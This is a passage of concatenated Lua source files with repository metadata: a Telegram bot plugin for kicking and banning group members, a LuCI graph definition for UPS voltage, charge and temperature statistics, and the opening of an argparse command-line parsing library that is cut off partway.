Counter end end end if data[tostring(msg.to.id)] then if data[tostring(msg.to.id)]['settings'] then if data[tostring(msg.to.id)]['settings']['lock_bots'] then bots_protection = data[tostring(msg.to.id)]['settings']['lock_bots'] end end end if msg.action.user.username ~= nil then if string.sub(msg.action.user.username:lower(), -3) == 'bot' and not is_momod(msg) and bots_protection == "yes" then --- Will kick bots added by normal users local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] added a bot > @".. msg.action.user.username)-- Save to logs kick_user(msg.action.user.id, msg.to.id) end end end -- No further checks return msg end -- banned user is talking ! if msg.to.type == 'chat' then local data = load_data(_config.moderation.data) local group = msg.to.id local texttext = 'groups' --if not data[tostring(texttext)][tostring(msg.to.id)] and not is_realm(msg) then -- Check if this group is one of my groups or not --chat_del_user('chat#id'..msg.to.id,'user#id'..our_id,ok_cb,false) --return --end local user_id = msg.from.id local chat_id = msg.to.id local banned = is_banned(user_id, chat_id) if banned or is_gbanned(user_id) then -- Check it with redis print('Banned user talking!') local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] banned user is talking !")-- Save to logs kick_user(user_id, chat_id) msg.text = '' end end return msg end local function kick_ban_res(extra, success, result) --vardump(result) --vardump(extra) local member_id = result.id local user_id = member_id local member = result.username local chat_id = extra.chat_id local from_id = extra.from_id local get_cmd = extra.get_cmd local receiver = "chat#id"..chat_id if get_cmd == "kick" then if member_id == from_id then return send_large_msg(receiver, "You can't kick yourself") end if is_momod2(member_id, chat_id) and not is_admin2(sender) then return send_large_msg(receiver, "You can't kick mods/owner/admins") end return kick_user(member_id, chat_id) elseif get_cmd == 'ban' then if is_momod2(member_id, chat_id) and not is_admin2(sender) then return send_large_msg(receiver, "You can't ban mods/owner/admins") end send_large_msg(receiver, 'User @'..member..' ['..member_id..'] banned') return ban_user(member_id, chat_id) elseif get_cmd == 'unban' then send_large_msg(receiver, 'User @'..member..' ['..member_id..'] unbanned') local hash = 'banned:'..chat_id redis:srem(hash, member_id) return 'User '..user_id..' unbanned' elseif get_cmd == 'banall' then send_large_msg(receiver, 'User @'..member..' ['..member_id..'] globally banned') return banall_user(member_id, chat_id) elseif get_cmd == 'unbanall' then send_large_msg(receiver, 'User @'..member..' ['..member_id..'] un-globally banned') return unbanall_user(member_id, chat_id) end end local function run(msg, matches) if matches[1]:lower() == 'id' then if msg.to.type == "user" then return "Bot ID: "..msg.to.id.. "\n\nYour ID: "..msg.from.id end if type(msg.reply_id) ~= "nil" then local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] used /id ") id = get_message(msg.reply_id,get_message_callback_id, false) elseif matches[1]:lower() == 'id' then local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] used /id ") return "Group ID for " ..string.gsub(msg.to.print_name, "_", " ").. ":\n\n"..msg.to.id end end if matches[1]:lower() == 'kickme' then-- /kickme local receiver = get_receiver(msg) if msg.to.type == 'chat' then local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] left using kickme ")-- Save to logs chat_del_user("chat#id"..msg.to.id, "user#id"..msg.from.id, ok_cb, false) end end if not is_momod(msg) then -- Ignore normal users return end if matches[1]:lower() == "banlist" then -- Ban list ! local chat_id = msg.to.id if matches[2] and is_admin(msg) then chat_id = matches[2] end return ban_list(chat_id) end if matches[1]:lower() == 'ban' then-- /ban if type(msg.reply_id)~="nil" and is_momod(msg) then if is_admin(msg) then local msgr = get_message(msg.reply_id,ban_by_reply_admins, false) else msgr = get_message(msg.reply_id,ban_by_reply, false) end end local user_id = matches[2] local chat_id = msg.to.id if string.match(matches[2], '^%d+$') then if tonumber(matches[2]) == tonumber(our_id) then return end if not is_admin(msg) and is_momod2(matches[2], msg.to.id) then return "you can't ban mods/owner/admins" end if tonumber(matches[2]) == tonumber(msg.from.id) then return "You can't ban your self !" end local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] baned user ".. matches[2]) ban_user(user_id, chat_id) else local cbres_extra = { chat_id = msg.to.id, get_cmd = 'ban', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') res_user(username, kick_ban_res, cbres_extra) end end if matches[1]:lower() == 'unban' then -- /unban if type(msg.reply_id)~="nil" and is_momod(msg) then local msgr = get_message(msg.reply_id,unban_by_reply, false) end local user_id = matches[2] local chat_id = msg.to.id local targetuser = matches[2] if string.match(targetuser, '^%d+$') then local user_id = targetuser local hash = 'banned:'..chat_id redis:srem(hash, user_id) local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] unbaned user ".. matches[2]) return 'User '..user_id..' unbanned' else local cbres_extra = { chat_id = msg.to.id, get_cmd = 'unban', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') res_user(username, kick_ban_res, cbres_extra) end end if matches[1]:lower() == 'kick' then if type(msg.reply_id)~="nil" and is_momod(msg) then if is_admin(msg) then local msgr = get_message(msg.reply_id,Kick_by_reply_admins, false) else msgr = get_message(msg.reply_id,Kick_by_reply, false) end end if string.match(matches[2], '^%d+$') then if tonumber(matches[2]) == tonumber(our_id) then return end if not is_admin(msg) and is_momod2(matches[2], msg.to.id) then return "you can't kick mods/owner/admins" end if tonumber(matches[2]) == tonumber(msg.from.id) then return "You can't kick your self !" end local user_id = matches[2] local chat_id = msg.to.id name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] kicked user ".. matches[2]) kick_user(user_id, chat_id) else local cbres_extra = { chat_id = msg.to.id, get_cmd = 'kick', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') res_user(username, kick_ban_res, cbres_extra) end end if not is_admin(msg) then return end if matches[1]:lower() == 'banall' then -- Global ban if type(msg.reply_id) ~="nil" and is_admin(msg) then return get_message(msg.reply_id,banall_by_reply, false) end local user_id = matches[2] local chat_id = msg.to.id local targetuser = matches[2] if string.match(targetuser, '^%d+$') then if tonumber(matches[2]) == tonumber(our_id) then return false end banall_user(targetuser) return 'User ['..user_id..' ] globally banned' else local cbres_extra = { chat_id = msg.to.id, get_cmd = 'banall', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') res_user(username, kick_ban_res, cbres_extra) end end if matches[1]:lower() == 'unbanall' then -- Global unban local user_id = matches[2] local chat_id = msg.to.id if string.match(matches[2], '^%d+$') then if tonumber(matches[2]) == tonumber(our_id) then return false end unbanall_user(user_id) return 'User ['..user_id..' ] removed from global ban list' else local cbres_extra = { chat_id = msg.to.id, get_cmd = 'unbanall', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') res_user(username, kick_ban_res, cbres_extra) end end if matches[1]:lower() == "gbanlist" then -- Global ban list return banall_list() end end return { patterns = { "^[!/]([Bb]anall) (.*)$", "^[!/]([Bb]anall)$", "^[!/]([Bb]anlist) (.*)$", "^[!/]([Bb]anlist)$", "^[!/]([Gg]banlist)$", "^[!/]([Bb]an) (.*)$", "^[!/]([Kk]ick)$", "^[!/]([Uu]nban) (.*)$", "^[!/]([Uu]nbanall) (.*)$", "^[!/]([Uu]nbanall)$", "^[!/]([Kk]ick) (.*)$", "^[!/]([Kk]ickme)$", "^[!/]([Bb]an)$", "^[!/]([Uu]nban)$", "^[!/]([Ii]d)$", "^!!tgservice (.+)$" }, run = run, pre_process = pre_process }
gpl-2.0
teleshadow/shadowbot
plugins/banhammer.lua
1085
11557
local function pre_process(msg) -- SERVICE MESSAGE if msg.action and msg.action.type then local action = msg.action.type -- Check if banned user joins chat by link if action == 'chat_add_user_link' then local user_id = msg.from.id print('Checking invited user '..user_id) local banned = is_banned(user_id, msg.to.id) if banned or is_gbanned(user_id) then -- Check it with redis print('User is banned!') local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] is banned and kicked ! ")-- Save to logs kick_user(user_id, msg.to.id) end end -- Check if banned user joins chat if action == 'chat_add_user' then local user_id = msg.action.user.id print('Checking invited user '..user_id) local banned = is_banned(user_id, msg.to.id) if banned or is_gbanned(user_id) then -- Check it with redis print('User is banned!') local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] added a banned user >"..msg.action.user.id)-- Save to logs kick_user(user_id, msg.to.id) local banhash = 'addedbanuser:'..msg.to.id..':'..msg.from.id redis:incr(banhash) local banhash = 'addedbanuser:'..msg.to.id..':'..msg.from.id local banaddredis = redis:get(banhash) if banaddredis then if tonumber(banaddredis) == 4 and not is_owner(msg) then kick_user(msg.from.id, msg.to.id)-- Kick user who adds ban ppl more than 3 times end if tonumber(banaddredis) == 8 and not is_owner(msg) then ban_user(msg.from.id, msg.to.id)-- Kick user who adds ban ppl more than 7 times local banhash = 'addedbanuser:'..msg.to.id..':'..msg.from.id redis:set(banhash, 0)-- Reset the Counter end end end if data[tostring(msg.to.id)] then if data[tostring(msg.to.id)]['settings'] then if data[tostring(msg.to.id)]['settings']['lock_bots'] then bots_protection = data[tostring(msg.to.id)]['settings']['lock_bots'] end end end if msg.action.user.username ~= nil then if string.sub(msg.action.user.username:lower(), -3) == 'bot' and not is_momod(msg) and bots_protection == "yes" then --- Will kick bots added by normal users local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] added a bot > @".. msg.action.user.username)-- Save to logs kick_user(msg.action.user.id, msg.to.id) end end end -- No further checks return msg end -- banned user is talking ! if msg.to.type == 'chat' then local data = load_data(_config.moderation.data) local group = msg.to.id local texttext = 'groups' --if not data[tostring(texttext)][tostring(msg.to.id)] and not is_realm(msg) then -- Check if this group is one of my groups or not --chat_del_user('chat#id'..msg.to.id,'user#id'..our_id,ok_cb,false) --return --end local user_id = msg.from.id local chat_id = msg.to.id local banned = is_banned(user_id, chat_id) if banned or is_gbanned(user_id) then -- Check it with redis print('Banned user talking!') local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] banned user is talking !")-- Save to logs kick_user(user_id, chat_id) msg.text = '' end end return msg end local function kick_ban_res(extra, success, result) --vardump(result) --vardump(extra) local member_id = result.id local user_id = member_id local member = result.username local chat_id = extra.chat_id local from_id = extra.from_id local get_cmd = extra.get_cmd local receiver = "chat#id"..chat_id if get_cmd == "kick" then if member_id == from_id then return send_large_msg(receiver, "You can't kick yourself") end if is_momod2(member_id, chat_id) and not is_admin2(sender) then return send_large_msg(receiver, "You can't kick mods/owner/admins") end return kick_user(member_id, chat_id) elseif get_cmd == 'ban' then if is_momod2(member_id, chat_id) and not is_admin2(sender) then return send_large_msg(receiver, "You can't ban mods/owner/admins") end send_large_msg(receiver, 'User @'..member..' ['..member_id..'] banned') return ban_user(member_id, chat_id) elseif get_cmd == 'unban' then send_large_msg(receiver, 'User @'..member..' ['..member_id..'] unbanned') local hash = 'banned:'..chat_id redis:srem(hash, member_id) return 'User '..user_id..' unbanned' elseif get_cmd == 'banall' then send_large_msg(receiver, 'User @'..member..' ['..member_id..'] globally banned') return banall_user(member_id, chat_id) elseif get_cmd == 'unbanall' then send_large_msg(receiver, 'User @'..member..' ['..member_id..'] un-globally banned') return unbanall_user(member_id, chat_id) end end local function run(msg, matches) if matches[1]:lower() == 'id' then if msg.to.type == "user" then return "Bot ID: "..msg.to.id.. "\n\nYour ID: "..msg.from.id end if type(msg.reply_id) ~= "nil" then local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] used /id ") id = get_message(msg.reply_id,get_message_callback_id, false) elseif matches[1]:lower() == 'id' then local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] used /id ") return "Group ID for " ..string.gsub(msg.to.print_name, "_", " ").. ":\n\n"..msg.to.id end end if matches[1]:lower() == 'kickme' then-- /kickme local receiver = get_receiver(msg) if msg.to.type == 'chat' then local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] left using kickme ")-- Save to logs chat_del_user("chat#id"..msg.to.id, "user#id"..msg.from.id, ok_cb, false) end end if not is_momod(msg) then -- Ignore normal users return end if matches[1]:lower() == "banlist" then -- Ban list ! local chat_id = msg.to.id if matches[2] and is_admin(msg) then chat_id = matches[2] end return ban_list(chat_id) end if matches[1]:lower() == 'ban' then-- /ban if type(msg.reply_id)~="nil" and is_momod(msg) then if is_admin(msg) then local msgr = get_message(msg.reply_id,ban_by_reply_admins, false) else msgr = get_message(msg.reply_id,ban_by_reply, false) end end local user_id = matches[2] local chat_id = msg.to.id if string.match(matches[2], '^%d+$') then if tonumber(matches[2]) == tonumber(our_id) then return end if not is_admin(msg) and is_momod2(matches[2], msg.to.id) then return "you can't ban mods/owner/admins" end if tonumber(matches[2]) == tonumber(msg.from.id) then return "You can't ban your self !" end local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] baned user ".. matches[2]) ban_user(user_id, chat_id) else local cbres_extra = { chat_id = msg.to.id, get_cmd = 'ban', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') res_user(username, kick_ban_res, cbres_extra) end end if matches[1]:lower() == 'unban' then -- /unban if type(msg.reply_id)~="nil" and is_momod(msg) then local msgr = get_message(msg.reply_id,unban_by_reply, false) end local user_id = matches[2] local chat_id = msg.to.id local targetuser = matches[2] if string.match(targetuser, '^%d+$') then local user_id = targetuser local hash = 'banned:'..chat_id redis:srem(hash, user_id) local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] unbaned user ".. matches[2]) return 'User '..user_id..' unbanned' else local cbres_extra = { chat_id = msg.to.id, get_cmd = 'unban', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') res_user(username, kick_ban_res, cbres_extra) end end if matches[1]:lower() == 'kick' then if type(msg.reply_id)~="nil" and is_momod(msg) then if is_admin(msg) then local msgr = get_message(msg.reply_id,Kick_by_reply_admins, false) else msgr = get_message(msg.reply_id,Kick_by_reply, false) end end if string.match(matches[2], '^%d+$') then if tonumber(matches[2]) == tonumber(our_id) then return end if not is_admin(msg) and is_momod2(matches[2], msg.to.id) then return "you can't kick mods/owner/admins" end if tonumber(matches[2]) == tonumber(msg.from.id) then return "You can't kick your self !" end local user_id = matches[2] local chat_id = msg.to.id name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] kicked user ".. matches[2]) kick_user(user_id, chat_id) else local cbres_extra = { chat_id = msg.to.id, get_cmd = 'kick', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') res_user(username, kick_ban_res, cbres_extra) end end if not is_admin(msg) then return end if matches[1]:lower() == 'banall' then -- Global ban if type(msg.reply_id) ~="nil" and is_admin(msg) then return get_message(msg.reply_id,banall_by_reply, false) end local user_id = matches[2] local chat_id = msg.to.id local targetuser = matches[2] if string.match(targetuser, '^%d+$') then if tonumber(matches[2]) == tonumber(our_id) then return false end banall_user(targetuser) return 'User ['..user_id..' ] globally banned' else local cbres_extra = { chat_id = msg.to.id, get_cmd = 'banall', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') res_user(username, kick_ban_res, cbres_extra) end end if matches[1]:lower() == 'unbanall' then -- Global unban local user_id = matches[2] local chat_id = msg.to.id if string.match(matches[2], '^%d+$') then if tonumber(matches[2]) == tonumber(our_id) then return false end unbanall_user(user_id) return 'User ['..user_id..' ] removed from global ban list' else local cbres_extra = { chat_id = msg.to.id, get_cmd = 'unbanall', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') res_user(username, kick_ban_res, cbres_extra) end end if matches[1]:lower() == "gbanlist" then -- Global ban list return banall_list() end end return { patterns = { "^[!/]([Bb]anall) (.*)$", "^[!/]([Bb]anall)$", "^[!/]([Bb]anlist) (.*)$", "^[!/]([Bb]anlist)$", "^[!/]([Gg]banlist)$", "^[!/]([Bb]an) (.*)$", "^[!/]([Kk]ick)$", "^[!/]([Uu]nban) (.*)$", "^[!/]([Uu]nbanall) (.*)$", "^[!/]([Uu]nbanall)$", "^[!/]([Kk]ick) (.*)$", "^[!/]([Kk]ickme)$", "^[!/]([Bb]an)$", "^[!/]([Uu]nban)$", "^[!/]([Ii]d)$", "^!!tgservice (.+)$" }, run = run, pre_process = pre_process }
gpl-2.0
RedSnake64/openwrt-luci-packages
applications/luci-app-statistics/luasrc/statistics/rrdtool/definitions/nut.lua
24
2233
-- Licensed to the public under the Apache License 2.0. module("luci.statistics.rrdtool.definitions.nut",package.seeall) function rrdargs( graph, plugin, plugin_instance, dtype ) local voltages = { title = "%H: Voltages on UPS \"%pi\"", vlabel = "V", number_format = "%5.1lfV", data = { instances = { voltage = { "battery", "input", "output" } }, options = { voltage_output = { color = "00e000", title = "Output voltage", noarea=true, overlay=true }, voltage_battery = { color = "0000ff", title = "Battery voltage", noarea=true, overlay=true }, voltage_input = { color = "ffb000", title = "Input voltage", noarea=true, overlay=true } } } } local currents = { title = "%H: Current on UPS \"%pi\"", vlabel = "A", number_format = "%5.3lfA", data = { instances = { current = { "battery", "output" } }, options = { current_output = { color = "00e000", title = "Output current", noarea=true, overlay=true }, current_battery = { color = "0000ff", title = "Battery current", noarea=true, overlay=true }, } } } local percentage = { title = "%H: Battery charge on UPS \"%pi\"", vlabel = "Percent", y_min = "0", y_max = "100", number_format = "%5.1lf%%", data = { sources = { percent = { "percent" } }, instances = { percent = "charge" }, options = { percent_charge = { color = "00ff00", title = "Charge level" } } } } -- Note: This is in ISO8859-1 for rrdtool. Welcome to the 20th century. local temperature = { title = "%H: Battery temperature on UPS \"%pi\"", vlabel = "\176C", number_format = "%5.1lf\176C", data = { instances = { temperature = "battery" }, options = { temperature_battery = { color = "ffb000", title = "Battery temperature" } } } } local timeleft = { title = "%H: Time left on UPS \"%pi\"", vlabel = "Minutes", number_format = "%.1lfm", data = { sources = { timeleft = { "timeleft" } }, instances = { timeleft = { "battery" } }, options = { timeleft_battery = { color = "0000ff", title = "Time left", transform_rpn = "60,/" } } } } return { voltages, currents, percentage, temperature, timeleft } end
apache-2.0
jjmleiro/hue
tools/wrk-scripts/lib/argparse.lua
22
26634
-- The MIT License (MIT) -- Copyright (c) 2013 - 2015 Peter Melnichenko -- Permission is hereby granted, free of charge, to any person obtaining a copy of -- this software and associated documentation files (the "Software"), to deal in -- the Software without restriction, including without limitation the rights to -- use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of -- the Software, and to permit persons to whom the Software is furnished to do so, -- subject to the following conditions: -- The above copyright notice and this permission notice shall be included in all -- copies or substantial portions of the Software. -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS -- FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR -- COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER -- IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -- CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. local function deep_update(t1, t2) for k, v in pairs(t2) do if type(v) == "table" then v = deep_update({}, v) end t1[k] = v end return t1 end -- A property is a tuple {name, callback}. -- properties.args is number of properties that can be set as arguments -- when calling an object. local function new_class(prototype, properties, parent) -- Class is the metatable of its instances. local class = {} class.__index = class if parent then class.__prototype = deep_update(deep_update({}, parent.__prototype), prototype) else class.__prototype = prototype end local names = {} -- Create setter methods and fill set of property names. for _, property in ipairs(properties) do local name, callback = property[1], property[2] class[name] = function(self, value) if not callback(self, value) then self["_" .. name] = value end return self end names[name] = true end function class.__call(self, ...) -- When calling an object, if the first argument is a table, -- interpret keys as property names, else delegate arguments -- to corresponding setters in order. if type((...)) == "table" then for name, value in pairs((...)) do if names[name] then self[name](self, value) end end else local nargs = select("#", ...) for i, property in ipairs(properties) do if i > nargs or i > properties.args then break end local arg = select(i, ...) if arg ~= nil then self[property[1]](self, arg) end end end return self end -- If indexing class fails, fallback to its parent. local class_metatable = {} class_metatable.__index = parent function class_metatable.__call(self, ...) -- Calling a class returns its instance. -- Arguments are delegated to the instance. local object = deep_update({}, self.__prototype) setmetatable(object, self) return object(...) end return setmetatable(class, class_metatable) end local function typecheck(name, types, value) for _, type_ in ipairs(types) do if type(value) == type_ then return true end end error(("bad property '%s' (%s expected, got %s)"):format(name, table.concat(types, " or "), type(value))) end local function typechecked(name, ...) local types = {...} return {name, function(_, value) typecheck(name, types, value) end} end local multiname = {"name", function(self, value) typecheck("name", {"string"}, value) for alias in value:gmatch("%S+") do self._name = self._name or alias table.insert(self._aliases, alias) end -- Do not set _name as with other properties. return true end} local function parse_boundaries(str) if tonumber(str) then return tonumber(str), tonumber(str) end if str == "*" then return 0, math.huge end if str == "+" then return 1, math.huge end if str == "?" then return 0, 1 end if str:match "^%d+%-%d+$" then local min, max = str:match "^(%d+)%-(%d+)$" return tonumber(min), tonumber(max) end if str:match "^%d+%+$" then local min = str:match "^(%d+)%+$" return tonumber(min), math.huge end end local function boundaries(name) return {name, function(self, value) typecheck(name, {"number", "string"}, value) local min, max = parse_boundaries(value) if not min then error(("bad property '%s'"):format(name)) end self["_min" .. name], self["_max" .. name] = min, max end} end local add_help = {"add_help", function(self, value) typecheck("add_help", {"boolean", "string", "table"}, value) if self._has_help then table.remove(self._options) self._has_help = false end if value then local help = self:flag() :description "Show this help message and exit." :action(function() print(self:get_help()) os.exit(0) end) if value ~= true then help = help(value) end if not help._name then help "-h" "--help" end self._has_help = true end end} local Parser = new_class({ _arguments = {}, _options = {}, _commands = {}, _mutexes = {}, _require_command = true, _handle_options = true }, { args = 3, typechecked("name", "string"), typechecked("description", "string"), typechecked("epilog", "string"), typechecked("usage", "string"), typechecked("help", "string"), typechecked("require_command", "boolean"), typechecked("handle_options", "boolean"), add_help }) local Command = new_class({ _aliases = {} }, { args = 3, multiname, typechecked("description", "string"), typechecked("epilog", "string"), typechecked("target", "string"), typechecked("usage", "string"), typechecked("help", "string"), typechecked("require_command", "boolean"), typechecked("handle_options", "boolean"), typechecked("action", "function"), add_help }, Parser) local Argument = new_class({ _minargs = 1, _maxargs = 1, _mincount = 1, _maxcount = 1, _defmode = "unused", _show_default = true }, { args = 5, typechecked("name", "string"), typechecked("description", "string"), typechecked("default", "string"), typechecked("convert", "function", "table"), boundaries("args"), typechecked("target", "string"), typechecked("defmode", "string"), typechecked("show_default", "boolean"), typechecked("argname", "string", "table") }) local Option = new_class({ _aliases = {}, _mincount = 0, _overwrite = true }, { args = 6, multiname, typechecked("description", "string"), typechecked("default", "string"), typechecked("convert", "function", "table"), boundaries("args"), boundaries("count"), typechecked("target", "string"), typechecked("defmode", "string"), typechecked("show_default", "boolean"), typechecked("overwrite", "boolean"), typechecked("argname", "string", "table"), typechecked("action", "function") }, Argument) function Argument:_get_argument_list() local buf = {} local i = 1 while i <= math.min(self._minargs, 3) do local argname = self:_get_argname(i) if self._default and self._defmode:find "a" then argname = "[" .. argname .. "]" end table.insert(buf, argname) i = i+1 end while i <= math.min(self._maxargs, 3) do table.insert(buf, "[" .. self:_get_argname(i) .. "]") i = i+1 if self._maxargs == math.huge then break end end if i < self._maxargs then table.insert(buf, "...") end return buf end function Argument:_get_usage() local usage = table.concat(self:_get_argument_list(), " ") if self._default and self._defmode:find "u" then if self._maxargs > 1 or (self._minargs == 1 and not self._defmode:find "a") then usage = "[" .. usage .. "]" end end return usage end function Argument:_get_type() if self._maxcount == 1 then if self._maxargs == 0 then return "flag" elseif self._maxargs == 1 and (self._minargs == 1 or self._mincount == 1) then return "arg" else return "multiarg" end else if self._maxargs == 0 then return "counter" elseif self._maxargs == 1 and self._minargs == 1 then return "multicount" else return "twodimensional" end end end -- Returns placeholder for `narg`-th argument. function Argument:_get_argname(narg) local argname = self._argname or self:_get_default_argname() if type(argname) == "table" then return argname[narg] else return argname end end function Argument:_get_default_argname() return "<" .. self._name .. ">" end function Option:_get_default_argname() return "<" .. self:_get_default_target() .. ">" end -- Returns label to be shown in the help message. function Argument:_get_label() return self._name end function Option:_get_label() local variants = {} local argument_list = self:_get_argument_list() table.insert(argument_list, 1, nil) for _, alias in ipairs(self._aliases) do argument_list[1] = alias table.insert(variants, table.concat(argument_list, " ")) end return table.concat(variants, ", ") end function Command:_get_label() return table.concat(self._aliases, ", ") end function Argument:_get_description() if self._default and self._show_default then if self._description then return ("%s (default: %s)"):format(self._description, self._default) else return ("default: %s"):format(self._default) end else return self._description or "" end end function Command:_get_description() return self._description or "" end function Option:_get_usage() local usage = self:_get_argument_list() table.insert(usage, 1, self._name) usage = table.concat(usage, " ") if self._mincount == 0 or self._default then usage = "[" .. usage .. "]" end return usage end function Option:_get_default_target() local res for _, alias in ipairs(self._aliases) do if alias:sub(1, 1) == alias:sub(2, 2) then res = alias:sub(3) break end end res = res or self._name:sub(2) return (res:gsub("-", "_")) end function Option:_is_vararg() return self._maxargs ~= self._minargs end function Parser:_get_fullname() local parent = self._parent local buf = {self._name} while parent do table.insert(buf, 1, parent._name) parent = parent._parent end return table.concat(buf, " ") end function Parser:_update_charset(charset) charset = charset or {} for _, command in ipairs(self._commands) do command:_update_charset(charset) end for _, option in ipairs(self._options) do for _, alias in ipairs(option._aliases) do charset[alias:sub(1, 1)] = true end end return charset end function Parser:argument(...) local argument = Argument(...) table.insert(self._arguments, argument) return argument end function Parser:option(...) local option = Option(...) if self._has_help then table.insert(self._options, #self._options, option) else table.insert(self._options, option) end return option end function Parser:flag(...) return self:option():args(0)(...) end function Parser:command(...) local command = Command():add_help(true)(...) command._parent = self table.insert(self._commands, command) return command end function Parser:mutex(...) local options = {...} for i, option in ipairs(options) do assert(getmetatable(option) == Option, ("bad argument #%d to 'mutex' (Option expected)"):format(i)) end table.insert(self._mutexes, options) return self end local max_usage_width = 70 local usage_welcome = "Usage: " function Parser:get_usage() if self._usage then return self._usage end local lines = {usage_welcome .. self:_get_fullname()} local function add(s) if #lines[#lines]+1+#s <= max_usage_width then lines[#lines] = lines[#lines] .. " " .. s else lines[#lines+1] = (" "):rep(#usage_welcome) .. s end end -- This can definitely be refactored into something cleaner local mutex_options = {} local vararg_mutexes = {} -- First, put mutexes which do not contain vararg options and remember those which do for _, mutex in ipairs(self._mutexes) do local buf = {} local is_vararg = false for _, option in ipairs(mutex) do if option:_is_vararg() then is_vararg = true end table.insert(buf, option:_get_usage()) mutex_options[option] = true end local repr = "(" .. table.concat(buf, " | ") .. ")" if is_vararg then table.insert(vararg_mutexes, repr) else add(repr) end end -- Second, put regular options for _, option in ipairs(self._options) do if not mutex_options[option] and not option:_is_vararg() then add(option:_get_usage()) end end -- Put positional arguments for _, argument in ipairs(self._arguments) do add(argument:_get_usage()) end -- Put mutexes containing vararg options for _, mutex_repr in ipairs(vararg_mutexes) do add(mutex_repr) end for _, option in ipairs(self._options) do if not mutex_options[option] and option:_is_vararg() then add(option:_get_usage()) end end if #self._commands > 0 then if self._require_command then add("<command>") else add("[<command>]") end add("...") end return table.concat(lines, "\n") end local margin_len = 3 local margin_len2 = 25 local margin = (" "):rep(margin_len) local margin2 = (" "):rep(margin_len2) local function make_two_columns(s1, s2) if s2 == "" then return margin .. s1 end s2 = s2:gsub("\n", "\n" .. margin2) if #s1 < (margin_len2-margin_len) then return margin .. s1 .. (" "):rep(margin_len2-margin_len-#s1) .. s2 else return margin .. s1 .. "\n" .. margin2 .. s2 end end function Parser:get_help() if self._help then return self._help end local blocks = {self:get_usage()} if self._description then table.insert(blocks, self._description) end local labels = {"Arguments:", "Options:", "Commands:"} for i, elements in ipairs{self._arguments, self._options, self._commands} do if #elements > 0 then local buf = {labels[i]} for _, element in ipairs(elements) do table.insert(buf, make_two_columns(element:_get_label(), element:_get_description())) end table.insert(blocks, table.concat(buf, "\n")) end end if self._epilog then table.insert(blocks, self._epilog) end return table.concat(blocks, "\n\n") end local function get_tip(context, wrong_name) local context_pool = {} local possible_name local possible_names = {} for name in pairs(context) do for i=1, #name do possible_name = name:sub(1, i-1) .. name:sub(i+1) if not context_pool[possible_name] then context_pool[possible_name] = {} end table.insert(context_pool[possible_name], name) end end for i=1, #wrong_name+1 do possible_name = wrong_name:sub(1, i-1) .. wrong_name:sub(i+1) if context[possible_name] then possible_names[possible_name] = true elseif context_pool[possible_name] then for _, name in ipairs(context_pool[possible_name]) do possible_names[name] = true end end end local first = next(possible_names) if first then if next(possible_names, first) then local possible_names_arr = {} for name in pairs(possible_names) do table.insert(possible_names_arr, "'" .. name .. "'") end table.sort(possible_names_arr) return "\nDid you mean one of these: " .. table.concat(possible_names_arr, " ") .. "?" else return "\nDid you mean '" .. first .. "'?" end else return "" end end local function plural(x) if x == 1 then return "" end return "s" end -- Compatibility with strict.lua and other checkers: local default_cmdline = rawget(_G, "arg") or {} function Parser:_parse(args, errhandler) args = args or default_cmdline local parser local charset local options = {} local arguments = {} local commands local option_mutexes = {} local used_mutexes = {} local opt_context = {} local com_context local result = {} local invocations = {} local passed = {} local cur_option local cur_arg_i = 1 local cur_arg local targets = {} local handle_options = true local function error_(fmt, ...) return errhandler(parser, fmt:format(...)) end local function assert_(assertion, ...) return assertion or error_(...) end local function convert(element, data) if element._convert then local ok, err if type(element._convert) == "function" then ok, err = element._convert(data) else ok = element._convert[data] end assert_(ok ~= nil, "%s", err or "malformed argument '" .. data .. "'") data = ok end return data end local invoke, pass, close function invoke(element) local overwrite = false if invocations[element] == element._maxcount then if element._overwrite then overwrite = true else error_("option '%s' must be used at most %d time%s", element._name, element._maxcount, plural(element._maxcount)) end else invocations[element] = invocations[element]+1 end passed[element] = 0 local type_ = element:_get_type() local target = targets[element] if type_ == "flag" then result[target] = true elseif type_ == "multiarg" then result[target] = {} 